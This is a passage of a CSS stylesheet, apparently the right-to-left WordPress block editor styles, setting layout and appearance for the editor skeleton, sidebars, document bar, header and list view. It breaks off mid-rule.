.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:10px;
  right:auto;
  top:auto;
}

.interface-complementary-area__fill{
  height:100%;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-right:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  left:0;
  max-height:100%;
  position:fixed;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    right:160px;
  }
}
.folded .interface-interface-skeleton{
  right:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    right:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  right:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
  position:relative;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  position:absolute;
  right:0;
  top:0;
  width:auto;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
  }
}

.interface-interface-skeleton__sidebar{
  border-top:1px solid #e0e0e0;
  overflow:hidden;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    box-shadow:1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__secondary-sidebar{
  border-top:1px solid #e0e0e0;
  left:0;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar{
    box-shadow:-1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__header{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  outline:1px solid #0000;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  position:absolute;
  right:0;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-right:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.editor-autocompleters__user .editor-autocompleters__no-avatar:before{
  content:"\f110";
  font:normal 20px/1 dashicons;
  margin-left:5px;
  vertical-align:middle;
}
.editor-autocompleters__user .editor-autocompleters__user-avatar{
  flex-grow:0;
  flex-shrink:0;
  height:24px;
  margin-left:8px;
  max-width:none;
  width:24px;
}
.editor-autocompleters__user .editor-autocompleters__user-name{
  flex-grow:1;
  flex-shrink:0;
  max-width:200px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user .editor-autocompleters__user-slug{
  color:#757575;
  flex-grow:0;
  flex-shrink:0;
  margin-right:8px;
  max-width:100px;
  overflow:none;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.editor-autocompleters__user:hover .editor-autocompleters__user-slug{
  color:var(--wp-admin-theme-color);
}

.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar){
  box-shadow:none;
}
.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar) .interface-complementary-area-header{
  display:none;
}

.editor-collab-sidebar{
  height:100%;
}

.editor-collab-sidebar-panel{
  height:100%;
  padding:16px;
}
.editor-collab-sidebar-panel__thread{
  background-color:#f0f0f0;
  border:1.5px solid #ddd;
  border-radius:8px;
  margin-bottom:16px;
  padding:16px;
  position:relative;
}
.editor-collab-sidebar-panel__active-thread{
  border:1.5px solid #3858e9;
}
.editor-collab-sidebar-panel__focus-thread{
  background-color:#fff;
  border:1.5px solid #3858e9;
  box-shadow:0 5.5px 7.8px -.3px rgba(0,0,0,.102);
}
.editor-collab-sidebar-panel__comment-field{
  flex:1;
}
.editor-collab-sidebar-panel__child-thread{
  margin-top:15px;
}
.editor-collab-sidebar-panel__user-name{
  text-transform:capitalize;
}
.editor-collab-sidebar-panel__user-name,.editor-collab-sidebar-panel__user-time{
  color:#757575;
  font-size:12px;
  font-weight:400;
  line-height:16px;
  text-align:right;
}
.editor-collab-sidebar-panel__user-comment{
  color:#1e1e1e;
  font-size:13px;
  font-weight:400;
  line-height:20px;
  text-align:right;
}
.editor-collab-sidebar-panel__user-comment p{
  margin-bottom:0;
}
.editor-collab-sidebar-panel__user-avatar{
  border-radius:50%;
  flex-shrink:0;
}
.editor-collab-sidebar-panel__thread-overlay{
  background-color:#000000b3;
  border-radius:8px;
  color:#fff;
  height:100%;
  padding:15px;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  width:100%;
  z-index:1;
}
.editor-collab-sidebar-panel__thread-overlay p{
  margin-bottom:15px;
}
.editor-collab-sidebar-panel__thread-overlay button{
  color:#fff;
  padding:4px 10px;
}
.editor-collab-sidebar-panel__comment-status{
  margin-right:auto;
}
.editor-collab-sidebar-panel__comment-status button.has-icon:not(.has-text){
  flex-shrink:0;
  height:24px;
  min-width:24px;
  padding:0;
  width:24px;
}
.editor-collab-sidebar-panel__comment-dropdown-menu{
  flex-shrink:0;
}
.editor-collab-sidebar-panel__comment-dropdown-menu button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
  width:24px;
}
.editor-collab-sidebar-panel__show-more-reply{
  font-style:italic;
  font-weight:500;
  padding:0;
}

.editor-collapsible-block-toolbar{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.editor-collapsible-block-toolbar .block-editor-block-contextual-toolbar{
  background:#0000;
  border-bottom:0;
  height:100%;
}
.editor-collapsible-block-toolbar .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.editor-collapsible-block-toolbar .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.editor-collapsible-block-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:7px;
  width:1px;
}
.editor-collapsible-block-toolbar .components-toolbar,.editor-collapsible-block-toolbar .components-toolbar-group{
  border-left:none;
  position:relative;
}
.editor-collapsible-block-toolbar .components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  left:-1px;
  position:absolute;
  top:4px;
  width:1px;
}
.editor-collapsible-block-toolbar .components-toolbar .components-toolbar-group.components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.editor-collapsible-block-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .editor-collapsible-block-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    height:40px;
    position:relative;
    top:-5px;
  }
}
.editor-collapsible-block-toolbar.is-collapsed{
  display:none;
}

.editor-content-only-settings-menu__description{
  min-width:235px;
  padding:8px;
}

.editor-blog-title-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-document-bar{
  align-items:center;
  background:#f0f0f0;
  border-radius:4px;
  display:flex;
  height:32px;
  justify-content:space-between;
  min-width:0;
  width:min(100%, 450px);
}
.editor-document-bar:hover{
  background-color:#e0e0e0;
}
.editor-document-bar .components-button{
  border-radius:4px;
}
@media not (prefers-reduced-motion){
  .editor-document-bar .components-button{
    transition:all .1s ease-out;
  }
}
.editor-document-bar .components-button:hover{
  background:#e0e0e0;
}
@media screen and (min-width:782px) and (max-width:960px){
  .editor-document-bar.has-back-button .editor-document-bar__post-type-label{
    display:none;
  }
}

.editor-document-bar__command{
  color:var(--wp-block-synced-color);
  flex-grow:1;
  overflow:hidden;
}

.editor-document-bar__title{
  color:#1e1e1e;
  margin:0 auto;
  max-width:70%;
  overflow:hidden;
}
@media (min-width:782px){
  .editor-document-bar__title{
    padding-right:24px;
  }
}
.editor-document-bar__title h1{
  align-items:center;
  display:flex;
  font-weight:400;
  justify-content:center;
  overflow:hidden;
  white-space:nowrap;
}

.editor-document-bar__post-title{
  color:currentColor;
  flex:1;
  overflow:hidden;
  text-overflow:ellipsis;
}

.editor-document-bar__post-type-label{
  color:#2f2f2f;
  flex:0;
  padding-right:4px;
}
@media screen and (max-width:600px){
  .editor-document-bar__post-type-label{
    display:none;
  }
}

.editor-document-bar__shortcut{
  color:#2f2f2f;
  display:none;
  min-width:24px;
}
@media (min-width:782px){
  .editor-document-bar__shortcut{
    display:initial;
  }
}

.editor-document-bar__back.components-button.has-icon.has-text{
  color:#757575;
  flex-shrink:0;
  gap:0;
  min-width:36px;
  position:absolute;
  z-index:1;
}
.editor-document-bar__back.components-button.has-icon.has-text:hover{
  background-color:initial;
  color:#1e1e1e;
}

.editor-document-bar__icon-layout.editor-document-bar__icon-layout{
  display:none;
  margin-right:12px;
  pointer-events:none;
  position:absolute;
}
.editor-document-bar__icon-layout.editor-document-bar__icon-layout svg{
  fill:#949494;
}
@media (min-width:600px){
  .editor-document-bar__icon-layout.editor-document-bar__icon-layout{
    display:flex;
  }
}

.document-outline{
  margin:20px 0;
}
.document-outline ul{
  margin:0;
  padding:0;
}

.document-outline__item{
  display:flex;
  margin:4px 0;
}
.document-outline__item a{
  text-decoration:none;
}
.document-outline__item .document-outline__emdash:before{
  color:#ddd;
  margin-left:4px;
}
.document-outline__item.is-h2 .document-outline__emdash:before{
  content:"—";
}
.document-outline__item.is-h3 .document-outline__emdash:before{
  content:"——";
}
.document-outline__item.is-h4 .document-outline__emdash:before{
  content:"———";
}
.document-outline__item.is-h5 .document-outline__emdash:before{
  content:"————";
}
.document-outline__item.is-h6 .document-outline__emdash:before{
  content:"—————";
}

.document-outline__button{
  align-items:flex-start;
  background:none;
  border:none;
  border-radius:2px;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  margin:0 -1px 0 0;
  padding:2px 1px 2px 5px;
  text-align:right;
}
.document-outline__button:disabled,.document-outline__button[aria-disabled=true]{
  color:#757575;
  cursor:default;
}
.document-outline__button:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.document-outline__level{
  background:#ddd;
  border-radius:3px;
  color:#1e1e1e;
  font-size:13px;
  margin-left:4px;
  padding:1px 6px;
}
.is-invalid .document-outline__level{
  background:#f0b849;
}

.document-outline__item-content{
  padding:1px 0;
}

.editor-document-outline.has-no-headings{
  color:#757575;
  text-align:center;
}
.editor-document-outline.has-no-headings>svg{
  margin-top:28px;
}
.editor-document-outline.has-no-headings>p{
  padding-left:32px;
  padding-right:32px;
}

.editor-document-tools{
  align-items:center;
  display:inline-flex;
}
.editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{
  display:none;
}
@media (min-width:782px){
  .editor-document-tools .editor-document-tools__left>.editor-history__redo,.editor-document-tools .editor-document-tools__left>.editor-history__undo{
    display:inline-flex;
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{
  display:inline-flex;
}
@media not (prefers-reduced-motion){
  .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{
  transform:rotate(-45deg);
}
.editor-document-tools .block-editor-list-view{
  display:none;
}
@media (min-width:600px){
  .editor-document-tools .block-editor-list-view{
    display:flex;
  }
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{
  display:none;
}

.editor-document-tools__left{
  align-items:center;
  display:inline-flex;
  gap:8px;
}
.editor-document-tools__left:not(:last-child){
  margin-inline-end:8px;
}

.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{
  padding:0 8px;
  width:auto;
}

.show-icon-labels .editor-document-tools__left>*+*{
  margin-right:8px;
}

.editor-editor-interface .entities-saved-states__panel-header{
  height:61px;
}

.editor-editor-interface .interface-interface-skeleton__content{
  isolation:isolate;
}

.editor-visual-editor{
  flex:1 0 auto;
}

.components-editor-notices__dismissible,.components-editor-notices__pinned{
  color:#1e1e1e;
  left:0;
  position:relative;
  right:0;
  top:0;
}
.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.entities-saved-states__panel-header{
  background:#fff;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  height:60px;
  padding-left:16px;
  padding-right:16px;
}

.entities-saved-states__text-prompt{
  padding:16px 16px 4px;
}
.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{
  display:block;
  margin-bottom:12px;
}

.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt{
  padding:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body{
  border:0;
  padding-left:0;
  padding-right:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2{
  margin-bottom:0;
  margin-left:-16px;
  margin-right:-16px;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-body>h2 button{
  font-size:11px;
  text-transform:uppercase;
}
.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--header-wrapper{
  display:none;
}
.entities-saved-states__panel.is-inline .entities-saved-states__text-prompt--changes-count{
  margin-bottom:8px;
  margin-top:0;
}
.entities-saved-states__panel.is-inline .entities-saved-states__panel-footer{
  margin-top:16px;
}

.entities-saved-states__change-control{
  flex:1;
}

.entities-saved-states__changes{
  font-size:13px;
  list-style:disc;
  margin:4px 24px 0 16px;
}
.entities-saved-states__changes li{
  margin-bottom:4px;
}

.editor-error-boundary{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  margin:60px auto auto;
  max-width:780px;
  padding:1em;
}

.editor-header{
  align-items:center;
  background:#fff;
  display:grid;
  grid-auto-flow:row;
  grid-template:auto/60px minmax(0, max-content) minmax(min-content, 1fr) 60px;
  height:60px;
  justify-content:space-between;
  max-width:100vw;
}
.editor-header:has(>.editor-header__center){
  grid-template:auto/60px min-content 1fr min-content 60px;
}
@media (min-width:782px){
  .editor-header:has(>.editor-header__center){
    grid-template:auto/60px minmax(min-content, 2fr) 2.5fr minmax(min-content, 2fr) 60px;
  }
}
@media (min-width:480px){
  .editor-header{
    gap:16px;
  }
}
@media (min-width:280px){
  .editor-header{
    flex-wrap:nowrap;
  }
}

.editor-header__toolbar{
  align-items:center;
  clip-path:inset(-2px);
  display:flex;
  grid-column:1 /  3;
  min-width:0;
}
.editor-header__toolbar>:first-child{
  margin-inline:16px 0;
}
.editor-header__back-button+.editor-header__toolbar{
  grid-column:2 /  3;
}
@media (min-width:480px){
  .editor-header__back-button+.editor-header__toolbar>:first-child{
    margin-inline:0;
  }
  .editor-header__toolbar{
    clip-path:none;
  }
}
.editor-header__toolbar .table-of-contents{
  display:none;
}
@media (min-width:600px){
  .editor-header__toolbar .table-of-contents{
    display:block;
  }
}
.editor-header__toolbar .editor-collapsible-block-toolbar,.editor-header__toolbar .editor-collapsible-block-toolbar.is-collapsed~.editor-collapsible-block-toolbar__toggle{
  margin-inline:8px 0;
}

.editor-header__center{
  align-items:center;
  clip-path:inset(-2px);
  display:flex;
  grid-column:3 /  4;
  justify-content:center;
  min-width:0;
}
@media (max-width:479px){
  .editor-header__center>:first-child{
    margin-inline-start:8px;
  }
  .editor-header__center>:last-child{
    margin-inline-end:8px;
  }
}
.editor-header__settings{
  align-items:center;
  display:inline-flex;
  flex-wrap:nowrap;
  gap:8px;
  grid-column:3 /  -1;
  justify-self:end;
  padding-left:4px;
}
.editor-header:has(>.editor-header__center) .editor-header__settings{
  grid-column:4 /  -1;
}
@media (min-width:600px){
  .editor-header__settings{
    padding-left:8px;
  }
}
.show-icon-labels .editor-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{
  width:auto;
}
.show-icon-labels .editor-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .editor-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{
  content:attr(aria-label);
  white-space:nowrap;
}
.show-icon-labels .editor-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{
  background-color:initial;
}
.show-icon-labels .editor-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{
  background-color:initial;
  box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);
}
.show-icon-labels .editor-header .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg{
  display:block;
}
.show-icon-labels .editor-header .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after{
  content:none;
}
.show-icon-labels .editor-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{
  display:block;
}
.show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .show-icon-labels .editor-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .editor-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{
    padding-left:12px;
    padding-right:12px;
  }
}
.show-icon-labels .editor-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .editor-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{
  content:none;
}

.show-icon-labels .editor-header__toolbar .block-editor-block-mover{
  border-right:none;
}
.show-icon-labels .editor-header__toolbar .block-editor-block-mover:before{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.show-icon-labels .editor-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{
  background:#ddd;
  right:calc(50% + 1px);
  width:calc(100% - 24px);
}

.show-icon-labels.interface-pinned-items{
  border-bottom:1px solid #ccc;
  display:block;
  margin:0 -12px;
  padding:6px 12px 12px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon{
  justify-content:flex-start;
  margin:0;
  padding:6px 8px 6px 6px;
  width:14.625rem;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{
  display:block;
  max-width:24px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{
  padding-right:40px;
}
.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{
  margin-left:8px;
}

@media (min-width:480px){
  .editor-header__post-preview-button{
    display:none;
  }
}

.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header{
  border-bottom:none;
}
.editor-editor-interface.is-distraction-free .editor-header{
  background-color:#fff;
  width:100%;
}
@media (min-width:782px){
  .editor-editor-interface.is-distraction-free .editor-header{
    box-shadow:0 1px 0 0 rgba(0,0,0,.133);
    position:absolute;
  }
}
.editor-editor-interface.is-distraction-free .editor-header>.edit-post-header__settings>.edit-post-header__post-preview-button{
  visibility:hidden;
}
.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-preview-dropdown,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.editor-zoom-out-toggle,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__settings>.interface-pinned-items,.editor-editor-interface.is-distraction-free .editor-header>.editor-header__toolbar .editor-document-tools__document-overview-toggle{
  display:none;
}
.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within{
  opacity:1 !important;
}
.editor-editor-interface.is-distraction-free .interface-interface-skeleton__header:focus-within div{
  transform:translateX(0) translateZ(0) !important;
}
.editor-editor-interface.is-distraction-free .components-editor-notices__dismissible{
  position:absolute;
  z-index:35;
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.editor-inserter-sidebar{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
}
.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{
  box-sizing:inherit;
}

.editor-inserter-sidebar__content{
  height:100%;
}

.editor-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.editor-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.editor-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.editor-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.editor-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.editor-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.editor-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.editor-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.editor-keyboard-shortcut-help-modal__shortcut-key-combination+.editor-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.editor-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.editor-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.editor-list-view-sidebar{
  height:100%;
}
@media (min-width:782px){
  .editor-list-view-sidebar{
    width:350px;
  }
}

.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
  height:100%;
  overflow:auto;
  padding:4px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{
  background-color:initial;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
    scrollbar-color:#949494 #0000;
  }
}

.editor-list-view-sidebar__list-view-container{
  display:flex;
  flex-direction:column;
  height:100%;
}

.editor-list-view-sidebar__tab-panel{
  height:100%;
}

.editor-list-view-sidebar__outline{
  border-bottom:1px solid #ddd;
  display:flex;
  flex-direction:column;
  gap:8px;
  padding:16px;
}
.editor-list-view-sidebar__outline>div>span:first-child{
  display:inline-block;
  width:90px;
}
.editor-list-view-sidebar__outline>div>span{
  color:#757575;
  font-size:12px;
  line-height:1.4;
}

.editor-post-order__panel,.editor-post-parent__panel{
  padding-top:8px;
}
.editor-post-order__panel .editor-post-panel__row-control>div,.editor-post-parent__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-order__panel-dialog .editor-post-order,.editor-post-order__panel-dialog .editor-post-parent,.editor-post-parent__panel-dialog .editor-post-order,.editor-post-parent__panel-dialog .editor-post-parent{
  margin:8px;
}
.editor-post-order__panel-dialog .components-popover__content,.editor-post-parent__panel-dialog .components-popover__content{
  min-width:320px;
}

.editor-post-author__panel{
  padding-top:8px;
}

.editor-post-author__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-author__panel-dialog .editor-post-author{
  margin:8px;
  min-width:248px;
}

.editor-action-modal{
  z-index:1000001;
}

.editor-post-card-panel__content{
  flex-grow:1;
}
.editor-post-card-panel__title{
  width:100%;
}
.editor-post-card-panel__title.editor-post-card-panel__title{
  align-items:center;
  column-gap:8px;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
